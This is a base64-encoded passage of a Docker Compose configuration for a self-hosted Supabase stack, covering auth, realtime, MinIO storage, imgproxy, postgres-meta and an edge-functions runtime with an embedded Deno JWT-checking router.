IGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ0dPVFJVRV9VUklfQUxMT1dfTElTVD0ke0FERElUSU9OQUxfUkVESVJFQ1RfVVJMU30nCiAgICAgIC0gJ0dPVFJVRV9ESVNBQkxFX1NJR05VUD0ke0RJU0FCTEVfU0lHTlVQOi1mYWxzZX0nCiAgICAgIC0gR09UUlVFX0pXVF9BRE1JTl9ST0xFUz1zZXJ2aWNlX3JvbGUKICAgICAgLSBHT1RSVUVfSldUX0FVRD1hdXRoZW50aWNhdGVkCiAgICAgIC0gR09UUlVFX0pXVF9ERUZBVUxUX0dST1VQX05BTUU9YXV0aGVudGljYXRlZAogICAgICAtICdHT1RSVUVfSldUX0VYUD0ke0pXVF9FWFBJUlk6LTM2MDB9JwogICAgICAtICdHT1RSVUVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0VNQUlMX0VOQUJMRUQ9JHtFTkFCTEVfRU1BSUxfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0FOT05ZTU9VU19VU0VSU19FTkFCTEVEPSR7RU5BQkxFX0FOT05ZTU9VU19VU0VSUzotZmFsc2V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX0FVVE9DT05GSVJNPSR7RU5BQkxFX0VNQUlMX0FVVE9DT05GSVJNOi1mYWxzZX0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0FETUlOX0VNQUlMPSR7U01UUF9BRE1JTl9FTUFJTH0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0hPU1Q9JHtTTVRQX0hPU1R9JwogICAgICAtICdHT1RSVUVfU01UUF9QT1JUPSR7U01UUF9QT1JUOi01ODd9JwogICAgICAtICdHT1RSVUVfU01UUF9VU0VSPSR7U01UUF9VU0VSfScKICAgICAgLSAnR09UUlVFX1NNVFBfUEFTUz0ke1NNVFBfUEFTU30nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1NFTkRFUl9OQU1FPSR7U01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfSU5WSVRFPSR7TUFJTEVSX1VSTFBBVEhTX0lOVklURTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19DT05GSVJNQVRJT049JHtNQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZPSR7TUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0lOVklURT0ke01BSUxFUl9URU1QTEFURVNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1RFTVBMQVRFU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19SRUNPVkVSWT0ke01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUll9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LPSR7TUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFPSR7TUFJTEVSX1RFTVBMQVRFU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZPSR7TUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LPSR7TUFJTEVSX1NVQkpFQ1RTX01BR0lDX0xJTkt9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0lOVklURT0ke01BSUxFUl9TVUJKRUNUU19JTlZJVEV9JwogICAgICAtICdHT1RSVUVfRVhURVJOQUxfUEhPTkVfRU5BQkxFRD0ke0VOQUJMRV9QSE9ORV9TSUdOVVA6LXRydWV9JwogICAgICAtICdHT1RSVUVfU01TX0FVVE9DT05GSVJNPSR7RU5BQkxFX1BIT05FX0FVVE9DT05GSVJNOi10cnVlfScKICByZWFsdGltZS1kZXY6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3JlYWx0aW1lOnYyLjM0LjQ3JwogICAgY29udGFpbmVyX25hbWU6IHJlYWx0aW1lLWRldi5zdXBhYmFzZS1yZWFsdGltZQogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zU2ZMJwogICAgICAgIC0gJy0taGVhZCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJy1IJwogICAgICAgIC0gJ0F1dGhvcml6YXRpb246IEJlYXJlciAke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo0MDAwL2FwaS90ZW5hbnRzL3JlYWx0aW1lLWRldi9oZWFsdGgnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1JUPTQwMDAKICAgICAgLSAnREJfSE9TVD0ke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn0nCiAgICAgIC0gJ0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSBEQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RCX05BTUU9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdEQl9BRlRFUl9DT05ORUNUX1FVRVJZPVNFVCBzZWFyY2hfcGF0aCBUTyBfcmVhbHRpbWUnCiAgICAgIC0gREJfRU5DX0tFWT1zdXBhYmFzZXJlYWx0aW1lCiAgICAgIC0gJ0FQSV9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEZMWV9BTExPQ19JRD1mbHkxMjMKICAgICAgLSBGTFlfQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VDUkVUX1BBU1NXT1JEX1JFQUxUSU1FfScKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgICAgLSBFTkFCTEVfVEFJTFNDQUxFPWZhbHNlCiAgICAgIC0gIkROU19OT0RFUz0nJyIKICAgICAgLSBSTElNSVRfTk9GSUxFPTEwMDAwCiAgICAgIC0gQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSBTRUVEX1NFTEZfSE9TVD10cnVlCiAgICAgIC0gTE9HX0xFVkVMPWVycm9yCiAgICAgIC0gUlVOX0pBTklUT1I9dHJ1ZQogICAgICAtIEpBTklUT1JfSU5URVJWQUw9NjAwMDAKICAgIGNvbW1hbmQ6ICJzaCAtYyBcIi9hcHAvYmluL21pZ3JhdGUgJiYgL2FwcC9iaW4vcmVhbHRpbWUgZXZhbCAnUmVhbHRpbWUuUmVsZWFzZS5zZWVkcyhSZWFsdGltZS5SZXBvKScgJiYgL2FwcC9iaW4vc2VydmVyXCJcbiIKICBzdXBhYmFzZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgY29tbWFuZDogJ3NlcnZlciAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiIC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL3N0b3JhZ2U6L2RhdGEnCiAgbWluaW8tY3JlYXRlYnVja2V0OgogICAgaW1hZ2U6IG1pbmlvL21jCiAgICByZXN0YXJ0OiAnbm8nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtbWluaW86CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudHJ5cG9pbnQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuL3Vzci9iaW4vbWMgYWxpYXMgc2V0IHN1cGFiYXNlLW1pbmlvIGh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwICR7TUlOSU9fUk9PVF9VU0VSfSAke01JTklPX1JPT1RfUEFTU1dPUkR9O1xuL3Vzci9iaW4vbWMgbWIgLS1pZ25vcmUtZXhpc3Rpbmcgc3VwYWJhc2UtbWluaW8vc3R1YjtcbmV4aXQgMFxuIgogIHN1cGFiYXNlLXN0b3JhZ2U6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N0b3JhZ2UtYXBpOnYxLjE0LjYnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1yZXN0OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICAgIGltZ3Byb3h5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo1MDAwL3N0YXR1cycKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZFUl9QT1JUPTUwMDAKICAgICAgLSBTRVJWRVJfUkVHSU9OPWxvY2FsCiAgICAgIC0gTVVMVElfVEVOQU5UPWZhbHNlCiAgICAgIC0gJ0FVVEhfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vc3VwYWJhc2Vfc3RvcmFnZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBEQl9JTlNUQUxMX1JPTEVTPWZhbHNlCiAgICAgIC0gU1RPUkFHRV9CQUNLRU5EPXMzCiAgICAgIC0gU1RPUkFHRV9TM19CVUNLRVQ9c3R1YgogICAgICAtICdTVE9SQUdFX1MzX0VORFBPSU5UPWh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwJwogICAgICAtIFNUT1JBR0VfUzNfRk9SQ0VfUEFUSF9TVFlMRT10cnVlCiAgICAgIC0gU1RPUkFHRV9TM19SRUdJT049dXMtZWFzdC0xCiAgICAgIC0gJ0FXU19BQ0NFU1NfS0VZX0lEPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9NSU5JT30nCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVD01MjQyODgwMDAKICAgICAgLSBVUExPQURfRklMRV9TSVpFX0xJTUlUX1NUQU5EQVJEPTUyNDI4ODAwMAogICAgICAtIFVQTE9BRF9TSUdORURfVVJMX0VYUElSQVRJT05fVElNRT0xMjAKICAgICAgLSBUVVNfVVJMX1BBVEg9dXBsb2FkL3Jlc3VtYWJsZQogICAgICAtIFRVU19NQVhfU0laRT0zNjAwMDAwCiAgICAgIC0gRU5BQkxFX0lNQUdFX1RSQU5TRk9STUFUSU9OPXRydWUKICAgICAgLSAnSU1HUFJPWFlfVVJMPWh0dHA6Ly9pbWdwcm94eTo4MDgwJwogICAgICAtIElNR1BST1hZX1JFUVVFU1RfVElNRU9VVD0xNQogICAgICAtIERBVEFCQVNFX1NFQVJDSF9QQVRIPXN0b3JhZ2UKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gUkVRVUVTVF9BTExPV19YX0ZPUldBUkRFRF9QQVRIPXRydWUKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgaW1ncHJveHk6CiAgICBpbWFnZTogJ2RhcnRoc2ltL2ltZ3Byb3h5OnYzLjguMCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBpbWdwcm94eQogICAgICAgIC0gaGVhbHRoCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBJTUdQUk9YWV9MT0NBTF9GSUxFU1lTVEVNX1JPT1Q9LwogICAgICAtIElNR1BST1hZX1VTRV9FVEFHPXRydWUKICAgICAgLSAnSU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OPSR7SU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OOi10cnVlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgc3VwYWJhc2UtbWV0YToKICAgIGltYWdlOiAnc3VwYWJhc2UvcG9zdGdyZXMtbWV0YTp2MC44OS4zJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQR19NRVRBX1BPUlQ9ODA4MAogICAgICAtICdQR19NRVRBX0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQR19NRVRBX0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdfTUVUQV9EQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBQR19NRVRBX0RCX1VTRVI9c3VwYWJhc2VfYWRtaW4KICAgICAgLSAnUEdfTUVUQV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogIHN1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9lZGdlLXJ1bnRpbWU6djEuNjcuNCcKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdFZGdlIEZ1bmN0aW9ucyBpcyBoZWFsdGh5JwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9ST0xFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX0RCX1VSTD1wb3N0Z3Jlc3FsOi8vcG9zdGdyZXM6JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1ZFUklGWV9KV1Q9JHtGVU5DVElPTlNfVkVSSUZZX0pXVDotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL2Z1bmN0aW9uczovaG9tZS9kZW5vL2Z1bmN0aW9ucycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIHRhcmdldDogL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICJpbXBvcnQgeyBzZXJ2ZSB9IGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3N0ZEAwLjEzMS4wL2h0dHAvc2VydmVyLnRzJ1xuaW1wb3J0ICogYXMgam9zZSBmcm9tICdodHRwczovL2Rlbm8ubGFuZC94L2pvc2VAdjQuMTQuNC9pbmRleC50cydcblxuY29uc29sZS5sb2coJ21haW4gZnVuY3Rpb24gc3RhcnRlZCcpXG5cbmNvbnN0IEpXVF9TRUNSRVQgPSBEZW5vLmVudi5nZXQoJ0pXVF9TRUNSRVQnKVxuY29uc3QgVkVSSUZZX0pXVCA9IERlbm8uZW52LmdldCgnVkVSSUZZX0pXVCcpID09PSAndHJ1ZSdcblxuZnVuY3Rpb24gZ2V0QXV0aFRva2VuKHJlcTogUmVxdWVzdCkge1xuICBjb25zdCBhdXRoSGVhZGVyID0gcmVxLmhlYWRlcnMuZ2V0KCdhdXRob3JpemF0aW9uJylcbiAgaWYgKCFhdXRoSGVhZGVyKSB7XG4gICAgdGhyb3cgbmV3IEVycm9yKCdNaXNzaW5nIGF1dGhvcml6YXRpb24gaGVhZGVyJylcbiAgfVxuICBjb25zdCBbYmVhcmVyLCB0b2tlbl0gPSBhdXRoSGVhZGVyLnNwbGl0KCcgJylcbiAgaWYgKGJlYXJlciAhPT0gJ0JlYXJlcicpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoYEF1dGggaGVhZGVyIGlzIG5vdCAnQmVhcmVyIHt0b2tlbn0nYClcbiAgfVxuICByZXR1cm4gdG9rZW5cbn1cblxuYXN5bmMgZnVuY3Rpb24gdmVyaWZ5SldUKGp3dDogc3RyaW5nKTogUHJvbWlzZTxib29sZWFuPiB7XG4gIGNvbnN0IGVuY29kZXIgPSBuZXcgVGV4dEVuY29kZXIoKVxuICBjb25zdCBzZWNyZXRLZXkgPSBlbmNvZGVyLmVuY29kZShKV1RfU0VDUkVUKVxuICB0cnkge1xuICAgIGF3YWl0IGpvc2Uuand0VmVyaWZ5KGp3dCwgc2VjcmV0S2V5KVxuICB9IGNhdGNoIChlcnIpIHtcbiAgICBjb25zb2xlLmVycm9yKGVycilcbiAgICByZXR1cm4gZmFsc2VcbiAgfVxuICByZXR1cm4gdHJ1ZVxufVxuXG5zZXJ2ZShhc3luYyAocmVxOiBSZXF1ZXN0KSA9PiB7XG4gIGlmIChyZXEubWV0aG9kICE9PSAnT1BUSU9OUycgJiYgVkVSSUZZX0pXVCkge1xuICAgIHRyeSB7XG4gICAgICBjb25zdCB0b2tlbiA9IGdldEF1dGhUb2tlbihyZXEpXG4gICAgICBjb25zdCBpc1ZhbGlkSldUID0gYXdhaXQgdmVyaWZ5SldUKHRva2VuKVxuXG4gICAgICBpZiAoIWlzVmFsaWRKV1QpIHtcbiAgICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogJ0ludmFsaWQgSldUJyB9KSwge1xuICAgICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICAgIGhlYWRlcnM6IHsgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJyB9LFxuICAgICAgICB9KVxuICAgICAgfVxuICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgIGNvbnNvbGUuZXJyb3IoZSlcbiAgICAgIHJldHVybiBuZXcgUmVzcG9uc2UoSlNPTi5zdHJpbmdpZnkoeyBtc2c6IGUudG9TdHJpbmcoKSB9KSwge1xuICAgICAgICBzdGF0dXM6IDQwMSxcbiAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICB9KVxuICAgIH1cbiAgfVxuXG4gIGNvbnN0IHVybCA9IG5ldyBVUkwocmVxLnVybClcbiAgY29uc3QgeyBwYXRobmFtZSB9ID0gdXJsXG4gIGNvbnN0IHBhdGhfcGFydHMgPSBwYXRobmFtZS5zcGxpdCgnLycpXG4gIGNvbnN0IHNlcnZpY2VfbmFtZSA9IHBhdGhfcGFydHNbMV1cblxuICBpZiAoIXNlcnZpY2VfbmFtZSB8fCBzZXJ2aWNlX25hbWUgPT09ICcnKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogJ21pc3NpbmcgZnVuY3Rpb24gbmFtZSBpbiByZXF1ZXN0JyB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNDAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxuXG4gIGNvbnN0IHNlcnZpY2VQYXRoID0gYC9ob21lL2Rlbm8vZnVuY3Rpb25zLyR7c2VydmljZV9uYW1lfWBcbiAgY29uc29sZS5lcnJvcihgc2VydmluZyB0aGUgcmVxdWVzdCB3aXRoICR7c2VydmljZVBhdGh9YClcblxuICBjb25zdCBtZW1vcnlMaW1pdE1iID0gMTUwXG4gIGNvbnN0IHdvcmtlclRpbWVvdXRNcyA9IDEgKiA2MCAqIDEwMDBcbiAgY29uc3Qgbm9Nb2R1bGVDYWNoZSA9IGZhbHNlXG4gIGNvbnN0IGltcG9ydE1hcFBhdGggPSBudWxsXG4gIGNvbnN0IGVudlZhcnNPYmogPSBEZW5vLmVudi50b09iamVjdCgpXG4gIGNvbnN0IGVudlZhcnMgPSBPYmplY3Qua2V5cyhlbnZWYXJzT2JqKS5tYXAoKGspID0+IFtrLCBlbnZWYXJzT2JqW2tdXSlcblxuICB0cnkge1xuICAgIGNvbnN0IHdvcmtlciA9IGF3YWl0IEVkZ2VSdW50aW1lLnVzZXJXb3JrZXJzLmNyZWF0ZSh7XG4gICAgICBzZXJ2aWNlUGF0aCxcbiAgICAgIG1lbW9yeUxpbWl0TWIsXG4gICAgICB3b3JrZXJUaW1lb3V0TXMsXG4gICAgICBub01vZHVsZUNhY2hlLFxuICAgICAgaW1wb3J0TWFwUGF0aCxcbiAgICAgIGVudlZhcnMsXG4gICAgfSlcbiAgICByZXR1cm4gYXdhaXQgd29ya2VyLmZldGNoKHJlcSlcbiAgfSBjYXRjaCAoZSkge1xuICAgIGNvbnN0IGVycm9yID0geyBtc2c6IGUudG9TdHJpbmcoKSB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25z